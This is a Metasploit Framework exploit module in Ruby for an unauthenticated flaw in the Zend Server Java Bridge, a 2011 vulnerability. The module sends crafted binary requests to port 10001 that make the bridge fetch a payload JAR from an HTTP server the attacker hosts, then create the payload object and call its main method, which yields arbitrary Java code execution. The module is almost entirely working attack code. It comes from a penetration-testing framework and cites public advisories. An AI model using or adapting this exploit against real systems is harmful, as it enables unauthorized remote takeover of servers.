Zend Server Java Bridge Arbitrary Java Code Execution

##
# $Id: zend_java_bridge.rb 12242 2011-04-05 01:08:07Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Zend Server Java Bridge Arbitrary Java Code Execution',
			'Description'    => %q{
					This module takes advantage of a trust relationship issue within the
				Zend Server Java Bridge. The Java Bridge is responsible for handling interactions
				between PHP and Java code within Zend Server. 
				
					When Java code is encountered Zend Server communicates with the Java Bridge. The
				Java Bridge then handles the java code and creates the objects within the Java Virtual
				Machine. This interaction however, does not require any sort of authentication. This
				leaves the JVM wide open to remote attackers. Sending specially crafted data to the
				Java Bridge results in the execution of arbitrary java code.
			},
			'Author'         => [ 'bannedit' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12242 $',
			'References'     =>
				[
					[ 'OSVDB', '71420'],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/'],
					[ 'URL', 'http://www.exploit-db.com/exploits/17078/' ],
				],
			'Platform'       => ['java'], # win
			'Arch'           => ARCH_JAVA,
			'Privileged'     => true,
			'Targets'        =>
				[
					[ 'Linux', {}],
					[ 'Windows', {}],
				],
			'DisclosureDate' => 'Mar 28 2011',
			'DefaultTarget' => 0))
			register_options( [ Opt::RPORT(10001) ], self.class)
	end

	def exploit
		start_service()
		send_java_require
	end
	
	def send_java_require()
		connect

		jar = rand_text_alpha(rand(8)+1) + '.jar'
		path = get_uri + '/' + jar
		uri_len = path.length
		java_require = [0xffffffff, 0x16000000].pack('V*') +
		"setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +
		[uri_len].pack('C') + path

		java_require = [java_require.length].pack('N') + java_require
 
		print_status("Sending java_require() request... #{path}")
		sock.put(java_require)
		res = sock.get_once
		
		select(nil, nil, nil, 5) # wait for the request to be handled
		create_and_exec
	end
	
	def create_and_exec
		print_status("Sending Final Java Bridge Requests")

		create_obj = 
			[0x34000000, 0x00000000, 0x0c000000].pack('V*') +
			"CreateObject" +
			[0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +
			"metasploit.Payload" +
			[0x07000000].pack('N') + [0x00].pack('C')

		sock.put(create_obj)
		res = sock.get_once
		obj_id = res[5,4]

		callmain = 
		[0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +
		[0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') + 
		[0x00].pack('C') + [0x00].pack('C')

		sock.put(callmain)
		sock.get_once
		handler()
	end

	def on_request_uri(cli, request)
		if request.uri =~ /\.jar$/i
			send_response(cli, payload.encoded,
			{
				'Content-Type' => 'application/java-archive',
				'Connection'   => 'close',
				'Pragma'       => 'no-cache'
			})

			print_status("Replied to Request for Payload JAR")
		end
	end
end